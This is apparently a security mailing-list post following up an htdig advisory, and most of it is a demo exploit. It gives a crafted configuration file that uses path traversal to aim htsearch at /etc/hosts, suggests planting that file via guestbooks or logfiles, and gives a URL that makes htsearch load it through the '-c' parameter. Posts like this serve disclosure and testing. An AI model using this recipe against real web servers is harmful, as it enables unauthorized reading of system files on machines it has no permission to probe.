htdig HOWTO followup

["rudi carell" <rudicarell () hotmail com>]

hola,

just wanted to add an example to the recently posted htdig vulnerability ( 
credits to ghutchis () wso williams edu ) ... the problem is that there is no 
detailed info on how to test it ..

---cut here---
http://www.securityfocus.com/cgi-bin/vulns-item.pl?section=info&id=3410
---cut here---


therefore ... a demo-exploit for a better understanding:

create a file with the following content anywhere on the maschine htdig runs 
on (be creative an think of guestbooks, logfiles etc etc ..):

---cut here---
nothing_found_file: /etc/hosts
database_base: ${database_dir}/../../../../etc/
word_db: ${database_base}hosts
doc_index: ${database_base}hosts
doc_db: ${database_base}hosts
---cut here---

.. then let htsearch use it :

---cut here--
http://server.cc/cgi-bin/htsearch?-c+[name-of-file]
---cut here---


done ..


rC


security () freefly com
http://www.freefly.com/security/




























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